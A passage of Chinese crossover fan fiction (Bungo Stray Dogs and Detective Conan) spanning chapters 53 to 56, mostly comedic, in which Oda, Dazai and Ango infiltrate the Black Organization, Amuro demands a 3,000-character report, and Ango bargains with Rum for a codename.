安室透看了下时间,距离织田作带走库拉索已经过去半个多小时,他看向被铐在车里的库拉索。 最终内心的责任压倒了怒意。 “明天我要看到三千字的情况说明。”他冷酷地丢下这样一句话后,带着库拉索扬长而去。 织田作:“……” 反正他是不会写的,但考虑到未来还需要安室透提供协助,他决定请求场外援助。 几分钟后,正在办公室加班的白马总监收到这样一则消息。 很抱歉这么晚打扰您……公安的安室先生要求我写三千字的情况说明,您可以帮忙拒绝吗? 白马总监:“……” 这算什么?被老师罚抄作业的小学生不想做作业于是选择找家长出面说情吗?这种羞耻的话让他怎么说得出口啊! 将难题抛给白马总监后,织田作顿时感觉一身轻松。 回到车里,他发现坂口安吾已经沉浸在工作中无法自拔。 “安吾他?” 一时间,车内除了织田作说话的声音就只剩下坂口安吾疯狂敲击键盘的声音。 见织田作结束工作交接,太宰治转过头,满脸写着无聊:“如你所见,安吾在刚才完成了超进化,现在出现在我们面前的是究极体社畜。” 织田作:“不愧是安吾。” 他不由自主地想到,在这种状态下,如果让安吾写三千字的情况说明,说不定几分钟就写好了。 “啊~工作结束了就该喝一杯吧。”太宰治突然提议道。 织田作表示没意见。 “不过在那之前,得先让安吾把位置让出来。” 因为坂口安吾占着驾驶座,不先把他挪开的话,他们哪都去不了。 “可是安吾好像很忙的样子,会影响到他工作吗?” “这不是问题,只要织田作配合我这样……” 几分钟后,坂口安吾顶着略显凌乱的发型,沉着脸坐在后座。 “就是因为织田作先生总是满足太宰无理的要求,他才会这么肆无忌惮。” 试问,当一个人全神贯注地处理某件事时,突然座椅靠背被人放平,然后整个人被迫360度旋转,哪怕没有受伤,但这种突如其来的“袭击”很危险的啊! 听信了太宰治的妙计,将坂口安吾像滚轮胎一样滚到后座的织田作面不改色地驾驶着汽车平稳地行驶在路上,语气平静。 “可是太宰说如果动作够快的话,安吾不会受到任何影响。” “对于这种无厘头的提议,织田作先生需要做的是用锤子敲击后脑勺一样的力度狠狠吐槽啊!” “可是车上没有锤子。” “噗哈哈哈哈哈。”太宰治捧腹大笑。 “这只是一种比喻不是让你真的去找一把锤子!”坂口安吾大喊。 “是这样啊。”织田作一副受教的语气。 坂口安吾:“……” 他错了,早在一开始就不该和天然系的织田作先生争辩这种槽点满满的话题。 太宰治已经笑疯了。 —— 考虑到太宰治和坂口安吾早晚都要接触组织的人,织田作直接带着两人来到组织某个伪装成酒吧的地下据点。 据点没几个人,三人默契地坐到吧台前,各自点好酒后,闲聊起来。 “我有一个问题。” 太宰治举起手像小学生提问一样,对坐在中间的织田作发问,“鬼魂酒后驾车算酒驾吗?” “这算什么问题啊?”坂口安吾吐槽。 织田作思考后回答:“不算吧。” 因为他只有魂体,就算摄入大量现世的酒精,也不会让他的思维受到干扰变得紊乱。 如果要让鬼魂喝醉,只能用地府特酿的酒或者是桃源乡的仙酿。 他试图用简单的语言解释这极不科学的现象:“因为我没有呼吸。” “第二个问题,织田作喝下去的酒最后会流到哪里?”太宰治一双眼睛不住地在织田作身上来回扫视,就差上手研究了。 坂口安吾:“一定要在这么放松的时候聊这些奇怪的话题吗?” 而且用“流”这个动词,莫名给人一种很脏的感觉。 织田作:“大概是地狱…吧。” 但是这样说起来总觉得怪怪的。 “真是神奇呢。”太宰治感慨,他用手指搅动着酒杯里的大冰球,无视一旁坂口安吾“洗手了吗”的提醒。 “如果织田作把我和安吾吃掉,那我们也能进入地狱吗?” “被我吃掉?”织田作认真思考起太宰治的提问,“大概吧。” 当然他又不是什么恶魔,一张嘴就能吞下两个大活人。但如果活人被鬼魂吃掉,肯定会死,死掉后不就进入地狱了。 坂口安吾对两人的脑回路表示无法理解:“拜托你们能聊点正常的话题吗?” 三人闲聊间,酒吧的门被人推开,深夜的寒风裹挟着硝烟的味道涌入室内。 门外,一个高大的身影缓缓走入。 黑色风衣随着行走的频率摆动,帽檐下是一双孤狼般的锐利眼眸。 来人正是琴酒。 他径直朝着织田作之助三人的位置走来。 因为不速之客的到来,三人的闲聊暂时中止,纷纷看向来者不善的琴酒。 站在琴酒的角度,他眼中织田作身边两人的形象分别是—— 半边身子隐在黑暗中,一双鸢眼里藏着无尽恶意,犹如深渊来客的黑发男。 坐姿端正,看向他的视线中满是居高临下的不屑和评判,道貌岸然的眼镜男。 都很符合组织的选人要求。 不过他今天来的目的可不是审核爱尔兰带来的两名新人。 “库拉索行动失败,一小时前失去了联系。”琴酒言简意赅地阐明来意,“你在警察厅那边有暗线,现在给你一天时间,在库拉索泄露组织情报前把她处理掉。” 对于库拉索当前的处境,琴酒有所猜测,无非是担心爱尔兰抢功,情急之下贸然出手反而把自己也搭进去了。 见朗姆损失一员大将,他自然是高兴的。 但也不能高兴得太早,窃取卧底名单的任务还没完成,必须提醒爱尔兰抓住机会。 然后他等到的织田作的回答是—— “库拉索已经被我干掉了。” “……” 就算是琴酒,也没能第一时间反应过来。 停好车急匆匆跑来的伏特加大惊:“什么?你把谁干掉了?” 织田作一脸淡然:“库拉索为了除掉我,举报了我的线人。” 他对上琴酒骤然冷下来的视线,理所当然道:“虽然组织内禁止内斗,但遭到挑衅不就该报复回去。” 他的语气一如既往的平静,但熟悉他的人都能听出语气中带了些许怒气。 因为库拉索的举报,不可避免地会影响到带他进警察厅的风见裕也。 而且他还被安室透要求写三千字的情况说明。 这完全是无妄之灾。 被他这副理直气壮的态度惊到,伏特加将墨镜往上推了推,难以置信道:“就因为她举报了你的线人,你就把她干掉了?” “盲目的举报导致了库拉索小姐身份暴露。”接话的是太宰治,他单手搭着织田作的肩膀,“为了保住组织的情报,想必她也能理解我们的做法吧。” 说话间他直直地注视着琴酒的双眼,神色漠然,仿佛刚刚讨论的不过是路边树上掉落的某片枯叶,而不是一条鲜活的生命。 像太宰治这样的人琴酒见过两三个,都是天生的犯罪者。 “解释留着和朗姆去说,我只要卧底名单。”琴酒看向坐在三人中间的织田作。 虽然织田作看起来是三人中最无害的一个,但和他交过手的琴酒知道,眼前的红发男人身体里隐藏着一只野兽。 说完,他意味不明地扫过太宰治和坂口安吾,留下一句“管好你带来的人”之后便带着伏特加走进更里层的包厢。 琴酒离开后,气氛回温,太宰治托着下巴抱怨道:“我和安吾被当成织田作的小弟了呢。” 他瞟了一眼面无表情的织田作,不甘心地说:“论成绩,我可是堂堂Mafia最年轻干部,是我们中地位最高的吧。” “请注意是前Mafia干部,太宰。”坂口安吾一本正经纠正道,“而且就现实情况而言,我俩确实是以织田作先生部下的身份进入组织的。” “可恶,我可不想在最擅长的领域输给安吾啊。”太宰治捶桌。 织田作喝着酒给出解决方案:“那就尽快获取代号吧。” 对于“地位”这种虚无缥缈的头衔,他并不在意,与其成为万人敬仰的领袖,他更愿意脚踏实地做些力所能及的事。 如果太宰愿意的话,等到黑衣组织彻底覆灭,他也可以帮忙向白马总监和种田长官为太宰申请个“扫黑先锋”之类的头衔。 他的脑海中突然浮现出身披红色锦旗,作为“扫黑先锋”被人群簇拥着站上高台的太宰治。 充满朝气且阳光爽朗的青年站在光芒汇集的中心,迎接来自世界的赞扬。 有点怪,但如果这是太宰的愿望,他会想办法帮忙的。 在织田作脑补的同时,太宰治莫名其妙打了个冷战。 “好奇怪,突然感觉好冷。” “既然冷的话就不要玩冰块了啊!”爱操心的坂口安吾一把夺过太宰治的酒杯,朝酒保说:“给他倒杯热水。” “说起来,刚才那位……” “琴酒。”织田作贴心补充。 “琴酒说的卧底名单,还有朗姆,”坂口安吾不愧是专业的谍中谍高手,一眼就看出了琴酒想要趁此机会坑朗姆一把的想法,“织田作先生有什么计划吗?” “明天我去警察厅一趟。” 说起名单,织田作其实是有些抗拒的,毕竟警察厅还有一个安室透正等着他交情况说明,也不知道白马总监有没有帮忙说情。 “至于朗姆那边。”他顿了顿,“他应该会主动联系我。” “对了。”说到这里,坂口安吾终于想起来他忘了些什么。 专业如他,立即拿起放在旁边椅子上的公文包,将电脑拿出来放到吧台上。 太宰治:“安吾好可怕,连喝酒娱乐都随身携带办公用品。” “关于朗姆,我这边大概掌握了一些情报。”他说着打开电脑。 早在他们的话题开始涉及到组织高层时,附近的普通成员包括酒保纷纷远离了这片区域,以免听到什么不该听的被列入封口名单。 因此,此刻的他们完全不用担心走漏风声。 将自己从库拉索随身携带的塑料卡牌上读取到的情报汇总成一篇十几页的报告,坂口安吾点开文档示意织田作两人自己翻看。 他推了推眼镜,沉稳道:“我认为我们可以主动出击。” 直接把组织二把手拉下水,高层动荡之下,他和太宰要获得代号不就是轻轻松松。 ———————— !!———————— 无赖派从不打低端局[墨镜] 朗姆:? ? ? 第54章 在无赖派谋划如何干掉朗姆时,织田作的休刊申请再次遭到驳回。 一大早,信使诸伏景光带着鬼灯的最新指示找到织田作。 织田作宛若一具失去灵魂的行尸,他面前的桌上一张薄薄的信纸摊开,里面既有鬼灯对他工作进度的赞赏,也有对写稿进度的督促。 “真的不行吗?”他看向诸伏景光,古井无波的眼底少见地带上了些许期待。 诸伏景光无奈失笑:“抱歉,这是鬼灯大人的决定。” 见织田作这样,他都不忍心告诉对方,鬼灯已经越过织田作之助这个编辑处处长,面向全地府征集关于将《地府逸闻》从月刊改为周刊的意见了。 见到松田阵平的故事在地府掀起一股追星潮,紧接着诸伏景光的人物传也大爆。让鬼灯觉得这是一个发展文化软实力的绝佳机会。 当然他也考虑过织田作的鸽子本性,如果改为周刊,届时会面向全地府征稿,把《地府逸闻》改造成亡魂们自己的展示平台。 以免某只鸽子精因压力太大撒手不干。 “这次的故事也很难写吗?”他好奇问道。 织田作想到只有两百多字的手稿,沉重地点了点头。 “总觉得缺少一些关键的因素。” “能和我说说是一个什么样的人物设定吗?” “是位性格开朗的先生。”织田作回忆起和萩原研二的短暂相处,想到了后者和捣药兔的相处方式,说道:“很有异性缘,属于风流但不下流的那种。” 就算是他,也能在和萩原研二的相处中感受到如沐春风的轻松愉悦。 诸伏景光:“这样啊。” 他露出怀念的神色,似是想起了自己的某位友人:“如果是这样的性格,创作期间多和对方沟通下细节会不会好一点呢。” 他想到了曾经警校的同期,也是松田阵平的幼驯染——萩原研二。 萩原研二死于七年前的一场爆/炸,如果也被地府招安的话,现在应该是他和松田的前辈,可他们在力所能及的范围内打听了个遍都没找到名叫“萩原研二”的狱卒。 或许是已经往生了吧。 毕竟萩原他生性洒脱,想来也不会因为所谓的复仇选择将未来局限在地府,如果是萩原的话,肯定会一往无前地朝着未知的未来不断奔跑直到尽头。 “沟通细节?”织田作若有所思,他立即向诸伏景光表示感谢,“我大概有点头绪了,非常感谢。” “不过是举手之劳。”诸伏景光觉得就算没有自己的提议,凭织田作之助的创作能力也一定能写出好的作品。 “能稍等我片刻吗,关于这几天的工作报告,我想添加一点内容。” “当然。” 将工作报告从信封中取出,织田作立刻拿起笔开始书写。 为了加快对黑衣组织的药物研究进度,特此申请将借调天国的狱卒临时外派至现世协助调查。同时这也关系到新一期稿件的完成质量,请鬼灯大人批准。 诸伏景光看了一眼,他只在其他狱卒的聊天里听说过天国的存在,于是在织田作写完新增的内容后提问:“天国那边也需要狱卒吗?” 能去天国的都是生前行善积德的善人,应该不需要狱卒的监管吧。 “这位是被借调去天国制造仙桃自动化采摘流水线的。” 这是织田作近期才了解到的,萩原研二和他认识的松田一样,在生前都是爆处组的警官。 仙桃自动化采摘流水线是萩原研二不忍心看着捣药兔们一颗一颗地摘桃子才临时发起的提议。 他本是到天国协助白泽研制新药的,因为这个临时的提议,导致他的借调时间一再延长,不过听他自己说,这个项目还有几个月就要完成了。 等到那时候,干脆介绍萩原和松田见一面吧,说不定他们能有很多共同话题。 织田作压根没想到两人可能在生前就是默契十足的幼驯染。 毕竟萩原研二是看过松田那一期的文章的,以正常人的思维,如果在死后发现生前的友人,一定会第一时间想办法和对方取得联系,而他只关心写稿进度。 “流水线?”那股熟悉的感觉更强烈了,诸伏景光想到了在地狱大搞机械化改革的松田阵平。 如果那位被借调去天国的狱卒真的是萩原的话,他大概能猜到对方的打算。 无非是见到幼驯染松田在地府大出风头,所以萩原要用同样的方式告诉对方自己混得也不赖。 好幼稚。但也很符合这对幼驯染的人设。 被自己想象出的画面逗笑,诸伏景光笑着将织田作递过来的信封收好。 “如果鬼灯大人批准的话,或许下次我来的时候就能见到这位呢。”他露出期待的表情。 这么有趣的事情他是绝对不会告诉松田的,不仅如此,他还要偷偷把松田看到新一期《地府逸闻》的表情全过程记录下来,等到Zero百年之后来到地府时再拿出来分享。 —— “现在的目标有三个。” 太宰治将坂口安吾汇总的情报看完后,站在织田作之助和坂口安吾两人面前总结,“卧底名单、组织二把手朗姆以及死缠烂打的FBI先生。” 他熟练地站在领导者的角度开始分配任务。 “织田作负责卧底名单,毕竟那边有你的协助者。” “朗姆那边就交给安吾吧,论情报搜集,安吾应该不会输给一个老头子吧。” 根据坂口安吾从库拉索那边得到的情报,朗姆加入组织的时间保守估计也有二十几年,叫老头子也不为过。 最后,太宰治拿出一张照片,上面的人正是被织田作打爆了车胎的赤井秀一。 他开朗道:“我负责处理违规跨国办案的FBI先生。” 对此,坂口安吾对他的动机表示质疑:“你不会还惦记着把人抓去组织里换代号吧。” “安吾怎么可以这么想我。”太宰治一副受伤的表情,“我只是想把可能影响到任务顺利进行的不确定因素控制起来。” 织田作难得对坂口安吾的意见表示赞同:“如果是警方的人,还是不要和对方有过多纠缠为好。” 目前比分二比一。 太宰治处于下风,但了解他的人都知道,他一旦决定的事情,就没有更改的余地。 面对友人们的劝阻,太宰治拿出了许久没用的耍赖大法,他一屁股坐在沙发上,手脚乱挥。 “我不管,织田作和安吾都有自己的目标,我才不要孤零零地待在房间里。” 都是二十二岁的成年人了,一遇到不如意的地方竟然还是和小孩子一样耍赖。 坂口安吾推了推眼镜:“我听国木田先生说过,太宰在侦探社的形象就是一个游手好闲的办公室混子,像今天这样哭喊着要工作还真是难得呢。” 说话间,他瞬间从口袋里掏出手机对准太宰治就是拍照加录像。 织田作倒是接受良好,毕竟他对太宰治的了解大部分都停留在四年前。 在他看来,太宰治不但褪下了属于黑/手/党的淡漠,还变得更开朗活泼。 “既然太宰都这么说了……” “稍微坚定一点啊!织田作先生。”坂口安吾打断织田作的发言,“就是因为有织田作先生无下限的纵容,太宰才会这么肆无忌惮。” “哼哼,现在织田作可是站在我这边的。”比分扳回一程,太宰治神气起来,叉着腰起身来到坂口安吾面前,“而且,我亲自制定的计划有哪次出过错吗?” 坂口安吾:“……” 可恶,好想反驳。 更让他说不出话的是,仔细一想,从他认识太宰治到现在,对方的作战计划似乎都没出过错。 唯一的一次就是Mimic,而这已经是过去式了,就算织田作先生不在意,他也不能再次提起。 见坂口安吾被迫默认了他的计划,太宰治哼起了歌:“哼哼,那就这么决定了,大家行动起来吧。” 本来他是讨厌工作的,但如果共事的有织田作之助,那另当别论。 这可是在织田作面前展现他这四年来变化的绝佳时机,虽然一开始有些怠惰,但在了解到黑衣组织的构造后,事情逐渐变得有趣起来。 最重要的是,无论是织田作还是安吾都没有催着他工作,这种被照顾的感觉太奇怪了。 “既然如此,那也没办法了。” 见无法阻止太宰治找FBI的麻烦,坂口安吾只好妥协,他将自己的办公用品收进公文包后说:“朗姆是个极端的神秘主义者,为了尽快获取他的情报,接下来我可能会失踪一段时间。” 他并不觉得找出朗姆有什么困难的,但对方毕竟是组织的二把手,要把这样的人物拉下来,首先必须得获取对方的信任。 获取神秘主义者的信任,最好的方法就是用情报作为交换。 恰好他最不缺的就是情报。 总的来说,这样的任务比异能特务科的工作轻松多了。 简直就跟度假一样。 唯一遗憾的就是有好几天时间不能和友人们一起喝酒聊天。 太宰治看着他,双眼亮晶晶地:“安吾的意思是接下来几天时间都是我和织田作的二人世界吗。” 他表情梦幻,带着幸福的笑容像一位迪士尼公主一样原地转了几圈。 “我明白了,安吾就放心的走吧。” “别把我说得像是要去赴死一样啊!” “没问题吗?”织田作有些担心,他并不是质疑坂口安吾的情报能力,只是觉得让情报人员单独行动难免存在风险。 面对织田作的关心,坂口安吾拎起公文包,自信道:“难道织田作先生忘了我曾经也是Mafia的一员吗。” 三人简单分配完任务,约定好四天后公寓集合汇报进度后,各自朝着各自的目标离开。 半小时后。 织田作在警察厅大门前踟躇。 也不知道白马总监帮忙说情了没有,他可没准备三千字的情况说明啊。 ———————— !!———————— 某FBI:有种不祥的预感[问号] 第55章 安室透在今早接到了一个特殊的电话。 来电人是警视厅白马总监,通话内容既不是最新的工作指示,也不是关于警察厅失守一事。 堂堂警视总监,百忙之中致电他这个小人物,竟然是为某个新手菜鸟说情。 接完电话,他站在原地沉默了许久。 最终诸多情绪化作一声冷笑。 安室透突然理解了多年前以揍警视总监为从警奋斗目标的松田阵平。 如果有这样一个是非不分的上司,任谁来都想给他一拳。 抢占了风见裕也的办公室,他黑着脸坐在里面,对战战兢兢的风见裕也命令道:“织田到了就让他立即来见我。” “是。” 面对气场全开的上司,风见裕也根本不敢多说什么。 就算是办公室被人占领,他也只会关心上司坐他的椅子舒不舒服。 走出办公室,他找了个人询问:“织田作来了吗?” 库拉索被捕后,风见裕也从上司那里得知了织田作的真实身份。 没想到看起来呆愣木讷的无名小说家竟然是警视厅派往那个组织的卧底,甚至在短时间内混到了代号。 风见裕也在听到这个消息的瞬间当场就石化了。 此前他对于黑衣组织的印象一直极度危险,宛如一只盘踞在深渊的恶鬼,献祭人类的血肉与灵魂来实现他们邪恶的目的。 但这个组织竟然让一只水豚混了进去。 “他已经来了,就在楼下。” 努力让脑海里水豚杀手的形象散去,风见裕也赶紧下楼。 见到织田作仍是那副呆愣的样子,他上前就把人拉着往回走。 “降…安室先生在办公室等你好久了,为什么现在才到?” 其实他更想说的是你们警视厅的人时间观念也太差了,这个点才到不会是算好了午餐时间来的吧。 “……堵车了。” 织田作面无表情地撒了个谎。 可惜他的谎言完全瞒不过风见裕也。 电梯里,风见裕也冷眼看着他,抬起手露出手腕上的表:“什么样的堵车能让你迟到两个小时?” 织田作沉默了。 他无话可说。 总不能告诉风见裕也他是因为害怕安室透的质问才在门口徘徊了一个多小时吧。 见织田作几乎是默认了自己的罪行,风见裕也心情更复杂了。 像织田作这样连撒谎都漏洞百出的人到底是怎么在那个组织里获得代号的啊。 将人带到办公室门外,风见裕也做了个请进的手势。 等到织田作进门后,他果断将门关上,把空间留给里面的两人。 被迫和安室透共处一室,直面对方冷脸的织田作:“……” “情况报告呢?” 安室透双手托着下巴,双眼宛如探照灯一般射向织田作。 红发青年穿着简单的深色衬衣和工装裤,浑身上下看起来能装东西的只有两个裤子口袋,而那里看起来都不像是装有情况报告的样子。 看样子他非常信任白马总监,所以才敢空着手来。 织田作顿时有些手足无措。 他下意识地摸了摸空空如也的口袋,这个时候说谎只会彻底激怒对方,于是他选择实话实说。 “没有写。” “这就是你花了两小时才想到的解释吗?” “并不是解释,我只是在陈述事实。”织田作语气平静。 听到这样理直气壮的回答,安室透的脸肉眼可见的又黑了一个度。 “原因呢?” “因为这不重要。” 织田作认为宝贵的时间不应该浪费在无用的情况说明上。 安室透深吸了一口气。 “不重要?”他反问,额角能看到清晰的青筋暴起,显然是压抑怒气到极点的表现,“擅自带无关人员参加到绝密行动中,且未经批准私自行动。” “如果在这期间发生任何意外,你能承担责任吗?” “不会发生意外。” 无论是太宰还是安吾,都不会在这种小事上失手,所以失败的可能性为零,根本不需要担心。 安室透要的可不是这种自大的表态,他需要眼前的青年发自内心的认识到当前任务的危险性,从而彻底杜绝上次的事件发生。 在那个组织卧底可不是靠一句“不会发生意外”就能平安活到任务完成的。 他起身,走到织田作面前:“你怎么能保证不会发生意外?” 死神在降临前可不会提前通知当事人做好准备。 当意外发生的那一刻,他们都是命运脚下的蝼蚁,除了接受命运别无他法。 “我们都很专业。”织田作回答,“如果是担心有人在任务中意外丧命,我可以肯定地回答你,我不会让他们任何一个发生意外。” “用我的灵魂起誓。” 他注视着安室透的双眼,言语间是不容否认的果决。 但安室透是个唯物主义者,他从来不会把希望寄托在这种玄乎其神的誓言上。 还说什么专业,在他看来,不过是三个初出茅庐的警界新人自以为是地玩卧底游戏。 “他们是哪个部门的?” 他直击重点。 “啊?”织田作愣了一下。 哪个部门?这让他该怎么回答。 “横滨、军警。” 这应该不算撒谎吧。 他的潜意识告诉他这个时候如果让安室透知道太宰治属于社会人士,事态只会演变得更严重。 “为什么他们会参与到你的行动中?” 安室透猜测织田作在横滨军警也有人脉,但这并不能成为他擅自带人参加行动的理由。 “因为他们是来协助我的。” “协助者?” 现在警视厅也开始效仿他们公安的做法了? 织田作若无其事地抛下一个更大的炸/弹。 “我已经带他们见过琴酒了,以后大家都是组织里的同事了。” 安室透:“……” 他甚至不知道该用什么样的表情来回应织田作的发言。 这个人到底把卧底任务当什么了! 行动不小心谨慎就算了,还敢用组织的关系带新的卧底加入。 到时候要是他们其中任何一个人暴露身份,连带的另外两个人也会有危险。 最可怕的是,责骂或是批评对织田作完全起不到任何警醒的作用。 因为这个人自有一套行事准则,根本不接受其他人的意见。 他抬手扶住因为过度思考而开始胀痛的头:“你、你们的计划是谁批准的?” 警视总监吗? 如果真是那位的话,安室透觉得自己很有必要向黑田管理官进行汇报,关于警视厅领导层需要改革的事。 “这需要批准吗?” 织田作的回答更是重量级。 “你们……”安室透语塞,他反复抬起手,在空中挥了两下又放下,最终千言万语化作一句:“我要和你的直属领导谈话。” 警视厅到底怎么回事啊!培养的卧底就这水平? 他并不是否认织田作的工作能力,而是对他的责任感和专业性表示质疑。 卧底的每一步都要精心部署,要是都像织田作这样想一出是一出的话,岂不是乱套了。 究其原因,安室透觉得织田作的领导要承担很大一部分的责任。 “你们早上不是才通过话吗?” “什么?”安室透一时间没能反应过来。 织田作以为他没听清楚,于是重新说了一遍:“早上安室先生应该接到过白马总监的电话吧。” 安室透高速运转的大脑有些卡住了。 他艰难地将织田作的直属领导和白马总监连上线:“白马总监是你的直属领导?” “嗯。” 那一瞬间,安室透的大脑里浮现了大量的信息。 有倒在血泊里的诸伏景光、有警视厅可能存在组织卧底的情况报告、也有这些年来死在琴酒手下的警方卧底。 难道是警视厅为了最大限度地确保卧底的人身安全,于是将卧底等级直接提高到警视总监那一级? 这样一来,织田作那高得离谱的行动自由度就有了解释。 可是这样也太冒险了! 看着安室透陷入无尽的思考中,织田作惦记着卧底名单的任务,忍不住打断他的思考。 “和白马总监对话的事后面再说,琴酒那边在催卧底名单了。” 回答他的是安室透锐利的眼刀。 仿佛在说这个时候提卧底名单是什么意思?讽刺我不知道轻重缓急吗! 最终安室透的职业道德击败了个人情绪,他深呼吸一口气:“我知道了,卧底名单我们已经准备好了。” 说着,他绕回办公桌后,从抽屉里取出一个信封。 “这里面是我们修改过的卧底名单,里面真假参半,我们会提前通知里面的他国卧底提前做好撤离准备。” 像这种真假参半的名单才最具迷惑性,这样做也能帮助织田作进一步稳固他在琴酒身边的地位。 在织田作伸手准备拿信封时,安室透突然收手。 “交换条件。”他看着织田作的眼睛,郑重道:“我需要你们实时的情报共享。” 从白马总监特地为织田作屈尊打电话给他求情这一点来看,靠警视厅那边约束织田作三人行动的可行性极低。 与其寄希望于靠不住的白马总监,不如他亲自上阵。 可惜松田没赶上好时候,要是松田想揍现在的警视总监,安室透一定不会拦着他的。 只是情报分享的话,织田作觉得完全不是问题。 这样想着,他为了表示诚意,将他们当前正在进行的计划如实分享给了安室透。 “没问题,我们已经掌握了关于朗姆的线索,正准备从情报组入手获取两个新的代号。” 安室透的表情从茫然到诧异到震惊,最后变为死一般的沉静。 “你说什么?”他难以置信道,语调不由自主地升高:“你们这次的目标是、朗姆?!” ———————— !!———————— 当红方互通情报后be like[小丑] 不被信任的白马总监:[爆哭] 虽然缺德但是好喜欢看零零被创[狗头叼玫瑰] 第56章 【区区鬼际交往对魅魔来说,就和人类呼吸一样简单。 他的双眼能轻易看穿对方的情感变化,说的每一句话都能精准解开他人的忧虑,再加上自带魅惑的笑容和绝佳的情商。 在某些时刻,我都会想,如果这时魅魔能在旁边指导一二就好了。 】 从行动方案到准备措施,从职业道德到个人修养,从团队协作到单兵作战。 安室透絮絮叨叨说了一大堆。 不外乎指责他们三个新人行动一点章法都没有。 叽里咕噜的全是在批判他们的鲁莽,好在织田作内心坚定,听了但没往心里去。 安室透会这么激动也是出于担忧,毕竟他没见过织田作三人那战功赫赫的履历表。 宽容大度的织田作完全没把安室透那些冒犯的话放在心上。 他一直面无表情地听讲,只是在思考该如何将自己从这个局面中解救出去。 从刚才起,安室先生就没怎么提过情况报告的事了。说明白马总监的话在警察厅也有一定的作用。 织田作平静地想到:不知道能不能再让白马总监打个电话。 同一时间,警视厅的白马总监突然打了个喷嚏。 一旁汇报工作的目暮十三识趣地停了下来,关心道:“请保重身体。” “多谢关心,我只是……”白马总监欲言又止,最终千言万语化作一句无力的“目暮你有因为孩子的事被请家长的经历吗?” 目暮十三不解,但还是如实回答:“没有,是探君那边发生了什么吗?” 不应该啊,他虽然没见过白马总监的儿子、据说也是个高中生侦探的白马探,但根据他听到过的消息,那位刚从英国转学回东京的少年似乎不是那种肆意妄为的性格。 难道是因为国内外教育风格的差异,让白马探短时间内无法适应所以发生了什么吗? 身为下属,不该擅自揣测上司的家事,目暮十三短暂的思考后选择看向白马总监,等待后者的说明。 提到引以为傲的儿子,本该为此骄傲的白马总监却露出了更苦恼的神情。 “不是小探。” 如果是他儿子那就好了。 这种事实在是难以启齿,为了领导的尊严,白马总监只是摆了摆手让目暮十三继续汇报。 堂堂警视总监,却在今天上午为一份三千字的情况说明被一个小辈质问得哑口无言。 他都不知道那堪称窒息的十分钟是怎么熬过来的。 把这种事说出去,难道光彩吗? 白马总监默默祈祷,希望织田作之助不要再给他出这种难题了。 —— 琴酒的一通电话将织田作之助从安室透那仿佛无止尽的说教中救了出来。 事实证明,摧毁组织的大业比白马总监的说情更好用。 织田作心满意足地带着卧底名单走出警察厅。 在他身后,是神色晦暗不明的安室透和满脸难以置信的风见裕也。 前者是在思考如何将警界的未来掰回正轨,后者则是对织田作竟然没被铁面上司揍一顿感到震惊。 这边织田作圆满完成了任务,另一边的坂口安吾也顺利和朗姆搭上了线。 他是织田作、也就是爱尔兰亲自招揽的成员。 这一情报早就被人送到了朗姆面前。 尽管是库拉索企图用举报的方式除掉爱尔兰无果,反被心狠手辣的爱尔兰干掉。 坐在幕后发号施令的朗姆,也把这当作是爱尔兰对他的挑衅。 津岛治和坂口炳吾。 他立即让手下去横滨查了这两人的履历。 很普通,不过是港口Mafia里不起眼的小角色。脱离Mafia后,这两人更微不足道了。 爱尔兰是代号成员,他暂时不能对爱尔兰出手,但这两位就不一定了。 出乎他意料的是,在他授意手下动手前,其中一人竟主动联系了他。 用的是他和库拉索特定的秘密联络方式。 就算是朗姆,也不得不承认他在听到“坂口炳吾”的声音时,产生了惜才之心。 “坂口君的条件确实令人心动,但我的信任可没那么容易获取。”朗姆机械化处理的声音透过听筒传到坂口安吾耳中。 他神色沉静,手指飞快地在键盘上输入着什么,同时还能分神回答朗姆的死亡提问。 “首先必须要声明一点,我并不打算获取你的信任。” 他的回答不卑不亢,让朗姆在对“坂口炳吾”的画像中,加了一条“自负高傲”。 “众所周知,职工跳槽的本质是为了谋取更好的发展前景。我们来这里,只是因为爱尔兰承诺这里比Mafia更容易出头。”坂口安吾把混/黑说得和上班一样,浓浓的社畜味迎面而来,但朗姆还是从中捕捉到了对方想表达的意味。 Mafia也好,黑衣组织也好,他们要的其实很简单,那就是地位和金钱。 难怪在爱尔兰得罪Mafia干部和首领后,这三人齐刷刷地脱离了组织,感情是发现在Mafia混到头了,果断抽身跑路。 “不过根据我的观察,琴酒貌似并不看重情报人员。”坂口安吾将他观察到的事实说了出来,“以我的特长,在那边很难出头。” “哦,可是……”朗姆意味深长地说,宛如一条从深渊中爬出的毒蛇,“坂口君难道忘记爱尔兰已经向琴酒投诚了吗?” 投诚用的还是他的心腹库拉索的命。 “那又如何?”坂口安吾反问,“利益驱使下,人类既能立下坚固的盟誓,也能一夜之间反目成仇。” “更何况目前我和你之间根本不存在利益上的冲突。”他平静地陈述着这一切,娓娓道来的低沉声线让人不由自主地进入到他设定好的立场之上,“爱尔兰跟琴酒是因为后者会给他提供发展空间和机遇,但那边没有适合我的路。” “上司也好、亲友也罢,如果不能提供价值,那将毫无用处。” 坂口安吾冷酷地阐述着自己的观点,“你意下如何?” “啪啪” 听筒里传来掌声。 “很精彩的论述。”朗姆夸赞道,“你比我想象的更冷漠无情。” 他听出了坂口安吾的言外之意,那就是只要有利可图,对方根本不在乎所谓的道德底线。 发现琴酒的行动组不适合自己发展,哪怕邀请对方加入组织的友人刚得罪过组织二把手,也毫不在意地向他投诚。 这个人完全不讲究道上所谓的仁义道德,是个彻头彻尾的利己主义者。 “可我凭什么要相信你的片面之词呢?”朗姆说。 他虽然欣赏人才,但不代表他会盲目地将一条毒蛇纳入麾下。 “我需要见到你的诚意。” 坂口安吾无所谓道:“考核吗?我个人也倾向于这种正式的迎新方式。” “能挖出我和库拉索的联络手段,说明你的情报搜集能力的确不错。”朗姆继续道,“但这也说明了如果不能将你这样的情报高手握在手里,将成为一个巨大的威胁。” “向我证明吧,你有足够的自保能力和走到我面前的决心。” “ 24小时内,如果你能在情报组的全力追杀下活着拨通我的电话,我会亲自为你选取代号。” 说完,朗姆径自结束了通话。 如果能干掉坂口炳吾,那也只是对方不自量力胆敢挑衅组织二把手得到了应有的教训,同时也能让他出口恶气。 如果坂口炳吾顺利通过了考验,那他手底下将新增一名情报高手,只要他手上捏着足够分量的筹码,这个人将一直为他所用。 无论结果如何,这个交易他都不亏。 好巧,坂口安吾也是这样想的。 只是极限逃生24小时便能轻松获得代号,光是想想就要笑出声来了,等到他得到代号,一定要去太宰面前好好炫耀一番。 不过话又说回来,朗姆还真是个急性子,这么简单就承诺要给他代号。 和织田作先生描述的一样,黑衣组织的晋升审核太粗糙了。 坂口安吾已经开始思考顺利晋升后要如何针对这一点进行革新了。 —— 